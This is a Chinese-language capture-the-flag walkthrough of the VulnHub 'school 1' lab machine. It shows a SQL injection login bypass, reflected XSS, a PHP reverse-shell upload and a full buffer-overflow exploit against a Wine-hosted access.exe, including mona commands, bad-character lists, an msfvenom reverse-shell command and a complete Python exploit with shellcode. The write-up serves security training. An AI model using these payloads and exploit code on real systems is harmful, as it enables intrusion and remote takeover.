当前位置:网站首页>vulnhub之school 1
vulnhub之school 1
2022-07-07 17:53:00 【梅_花_七】
目录
6.msf-pattern_create生成2000不同字符
一、存活主机探测
二、服务版本扫描
22,80依旧是常规端口。而23端口则是tcpwrapped,但是呢一般情况下23都是telnet
百度:
NMAP执行结果中,端口状态后经常标记tcpwrapped。tcpwrapped表示服务器运行TCP_Wrappers服务。TCP_Wrappers是一种应用级防火墙。它可以根据预设,对SSH、Telnet、FTP服务的请求进行拦截,判断是否符合预设要求。如果符合,就会转发给对应的服务进程;否则,会中断连接请求。
三、信息收集
针对一个登录框,
1.获取账号密码(爆破,通过源码泄露,弱口令来尝试)
2.尝试注入
永为真注入成功
其实这里不加最后的-也可以,但是空格必须要加,要和后边比对密码拼接上,这样才能注入成功
ss ' or 1=1 -- -
四、后台信息收集
1.反射型的xss
这几个页面都存在xss,但是吧,对我们突破边界没有什么用
上个框框里也有。
2.源码
特别注意javascript和注释里面的内容。这里有个隐藏路径,还有一个上传文件的保存文件夹。
五、文件上传
这里隐藏目录下存在一个文件上传的地方。
1.上传php反弹shell文件
2.再次访问这个页面的就触发了
六、wine
wine:简单来说就是可以在linux上来运行windous的程序。
win的内容:
执行了access.exe文件。
我们把他搞到windous上来调试一下,看看有无漏洞。
七、调试access.exe文件
1.调试工具ImmunityDebugger
自己找官网下载即可
2.下载mona脚本
github上有,下载后放到放到这里。
3.启动进程
提示了有漏洞。
4.写python脚本
主要是看这个程序是否存在缓冲区溢出的漏洞,如果存在缓冲区溢出,那么溢出的位置又在哪里。
#!/usr/bin/python2
import sys,socket
payload='A'*2000
try:
s=socket.socket()
s.connect(('192.168.0.',23))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()
5.程序宕机
这也证明了存在缓冲区溢出漏洞。
6.msf-pattern_create生成2000不同字符
msf-pattern_create -l 2000
7.查找位置
8.EIP->ESP
EIP中放入跳入ESP寄存器的地址,ESP寄存器我们放入攻击payload。找到jump ESP的地址
(1)mona查看模块
!mona modules
(2)搜索jump ESP
!mona find -s "\xff\xe4" -m "funcs_access.dll"
Address=625012D0
9.测定坏字符
坏字符会导致我们代码执行的失败,测出来是这几个。
\x00\x0a\x4d\x4f\x5f\x79\x7e\x7f
10.生成shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.109 LPORT=4444 -b '\x00\x4d\x4f\x5f\x79\x7e\x7f' -f c EXITFUNC=thread
11.python的exp
#! /usr/bin/python2
import sys
import socket
try:
shellcode=("\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e" "\xce\x93\x58\xfd\x83\xee\xfc\xe2\xf4\x32\x7b\xda\xfd\xce\x93"
"\x38\x74\x2b\xa2\x98\x99\x45\xc3\x68\x76\x9c\x9f\xd3\xaf\xda"
"\x18\x2a\xd5\xc1\x24\x12\xdb\xff\x6c\xf4\xc1\xaf\xef\x5a\xd1"
"\xee\x52\x97\xf0\xcf\x54\xba\x0f\x9c\xc4\xd3\xaf\xde\x18\x12"
"\xc1\x45\xdf\x49\x85\x2d\xdb\x59\x2c\x9f\x18\x01\xdd\xcf\x40"
"\xd3\xb4\xd6\x70\x62\xb4\x45\xa7\xd3\xfc\x18\xa2\xa7\x51\x0f"
"\x5c\x55\xfc\x09\xab\xb8\x88\x38\x90\x25\x05\xf5\xee\x7c\x88"
"\x2a\xcb\xd3\xa5\xea\x92\x8b\x9b\x45\x9f\x13\x76\x96\x8f\x59"
"\x2e\x45\x97\xd3\xfc\x1e\x1a\x1c\xd9\xea\xc8\x03\x9c\x97\xc9"
"\x09\x02\x2e\xcc\x07\xa7\x45\x81\xb3\x70\x93\xfb\x6b\xcf\xce"
"\x93\x30\x8a\xbd\xa1\x07\xa9\xa6\xdf\x2f\xdb\xc9\x6c\x8d\x45"
"\x5e\x92\x58\xfd\xe7\x57\x0c\xad\xa6\xba\xd8\x96\xce\x6c\x8d"
"\xad\x9e\xc3\x08\xbd\x9e\xd3\x08\x95\x24\x9c\x87\x1d\x31\x46"
"\xcf\x97\xcb\xfb\x98\x55\xce\xff\x30\xff\xce\x82\x04\x74\x28"
"\xf9\x48\xab\x99\xfb\xc1\x58\xba\xf2\xa7\x28\x4b\x53\x2c\xf1"
"\x31\xdd\x50\x88\x22\xfb\xa8\x48\x6c\xc5\xa7\x28\xa6\xf0\x35" "\x99\xce\x1a\xbb\xaa\x99\xc4\x69\x0b\xa4\x81\x01\xab\x2c\x6e"
"\x3e\x3a\x8a\xb7\x64\xfc\xcf\x1e\x1c\xd9\xde\x55\x58\xb9\x9a"
"\xc3\x0e\xab\x98\xd5\x0e\xb3\x98\xc5\x0b\xab\xa6\xea\x94\xc2"
"\x48\x6c\x8d\x74\x2e\xdd\x0e\xbb\x31\xa3\x30\xf5\x49\x8e\x38"
"\x02\x1b\x28\xb8\xe0\xe4\x99\x30\x5b\x5b\x2e\xc5\x02\x1b\xaf"
"\x5e\x81\xc4\x13\xa3\x1d\xbb\x96\xe3\xba\xdd\xe1\x37\x97\xce"
"\xc0\xa7\x28")
payload="A"*1902 + "\xdd\x12\x50\x62" + "\x90"*32 + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.109",23))
s.send(payload)
s.close()
print('done')
except:
print('error')
八、提权成功
这里Z:/表示win部署的根路径下,这里有我们要找到的第二个flag,未提权时不能查看,
现在可以查看证明提权成功。
边栏推荐
- ASP. Net gymnasium integrated member management system source code, free sharing
- 一锅乱炖,npm、yarn cnpm常用命令合集
- 九章云极DataCanvas公司获评36氪「最受投资人关注的硬核科技企业」
- mysql 的一些重要知识
- LeetCode 648(C#)
- 歌单11111
- Is PMP beneficial to work? How to choose a reliable platform to make it easier to prepare for the exam!!!
- 时间工具类
- Simulate the implementation of string class
- 【STL】vector
猜你喜欢
Jürgen Schmidhuber回顾LSTM论文等发表25周年:Long Short-Term Memory. All computable metaverses. Hierarchical reinforcement learning (RL). Meta-RL. Abstractions in generative adversarial RL. Soccer learn
华南X99平台打鸡血教程
使用高斯Redis实现二级索引
Nunjuks template engine
Kirin Xin'an joins Ningxia commercial cipher Association
# 欢迎使用Markdown编辑器
Make insurance more "safe"! Kirin Xin'an one cloud multi-core cloud desktop won the bid of China Life Insurance, helping the innovation and development of financial and insurance information technolog
关于cv2.dnn.readNetFromONNX(path)就报ERROR during processing node with 3 inputs and 1 outputs的解决过程【独家发布】
el-upload上传组件的动态添加;el-upload动态上传文件;el-upload区分文件是哪个组件上传的。
Ways to improve the utilization of openeuler resources 01: Introduction
随机推荐
【STL】vector
8 CAS
Classification automatique des cellules de modules photovoltaïques par défaut dans les images de lecture électronique - notes de lecture de thèse
银行理财产品怎么买?需要办银行卡吗?
微信公众号OAuth2.0授权登录并显示用户信息
关于cv2.dnn.readNetFromONNX(path)就报ERROR during processing node with 3 inputs and 1 outputs的解决过程【独家发布】
“本真”是什么意思
Leetcode force buckle (Sword finger offer 36-39) 36 Binary search tree and bidirectional linked list 37 Serialize binary tree 38 Arrangement of strings 39 Numbers that appear more than half of the tim
LC: string conversion integer (ATOI) + appearance sequence + longest common prefix
浏览积分设置的目的
Throughput
What does "true" mean
Navicat连接2002 - Can‘t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock‘解决
Visual Studio 插件之CodeMaid自动整理代码
[Verilog advanced challenge of Niuke network question brushing series] ~ multi bit MUX synchronizer
模拟实现string类
Kirin Xin'an won the bid for the new generation dispatching project of State Grid!
华南X99平台打鸡血教程
Detailed explanation of Flink parallelism and slot
Interpretation of transpose convolution theory (input-output size analysis)